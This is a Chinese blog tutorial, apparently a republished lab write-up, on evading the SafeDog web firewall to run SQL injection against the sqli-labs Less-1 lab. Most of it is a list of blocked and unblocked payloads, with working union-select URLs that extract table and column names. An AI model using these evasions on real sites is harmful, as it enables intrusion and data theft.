MYSQL Bypass SafeDog
2021/9/24 2:11:32
本文主要是介绍MYSQL Bypass SafeDog,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
环境详情
采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境
本地安装参考:解决本地安装安全狗
phpstudy: 2021版
网站安全狗: Apache V4.0.30255
靶场: sqli-labs-less1 (字符型注入)
打开安全狗,防护措施拉满,防御sql注入的也拉满
接下来开始我们的绕过
通用
and和or被拦截
--+ 不拦截 and 不拦截 and1 不拦截 and 1 拦截 and/*aaaa*/1拦截 and/*//*/1 不拦截
安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截
?id=2 and1
?id=2 and 1
绕过方法是使用/*//*/
代替空格
联合查询
order by
order 不拦截 by 不拦截 orderby 不拦截 order /*!10440by*/ 拦截 order%0a%0aby拦截 /*!10000order*/%0a%0a/*!100440by*/拦截 orde/*//*/by 不拦截
安全狗过滤order by
也是order空格by
严格匹配,同样把空格换成/*//*/
就能绕过
union select
union 不拦截 select 不拦截 unionselect 拦截 +union --+1%0aselect 拦截 +union %23%0a+all+select+ 拦截 /*&id=-1'+union+select+1,2,3--+*/ 不拦截 +"/*" union select 1,2,3 "*/"--+ 不拦截 +'/*' union select 1,2,3 %23*/--+ 不拦截 union/*//*/select 拦截 /*!10440union*//*//*/select 拦截 union/*//*//*!10440select*/ 不拦截 /*!10440union*//*!10440select*/ 拦截 /*!10440union*//*//*//*!10440select*/ 不拦截 /*!10450union*//*//*//*!10440select*/ 不拦截 /*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截
获取数据库名
database()拦截 hex(database%0a())不拦截 hex(database/**/())不拦截 user()拦截 hex(user%0a()) 不拦截 hex(user/**/()) 不拦截
使用hacker的16进制解码就获取数据名和用户名了
获取表名
没有拦截?难道狗子觉得获取这个不重要
?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+
获取字段名
依旧没有拦截
?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+
获取数据
还是没有拦截, 那就别怪我偷家了
这篇关于MYSQL Bypass SafeDog的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-25如何部署MySQL集群资料:新手入门教程
- 2024-12-24MySQL集群部署资料:新手入门教程
- 2024-12-24MySQL集群资料详解:新手入门教程
- 2024-12-24MySQL集群部署入门教程
- 2024-12-24部署MySQL集群学习:新手入门教程
- 2024-12-24部署MySQL集群入门:一步一步搭建指南
- 2024-12-07MySQL读写分离入门:轻松掌握数据库读写分离技术
- 2024-12-07MySQL读写分离入门教程
- 2024-12-07MySQL分库分表入门详解
- 2024-12-07MySQL分库分表入门指南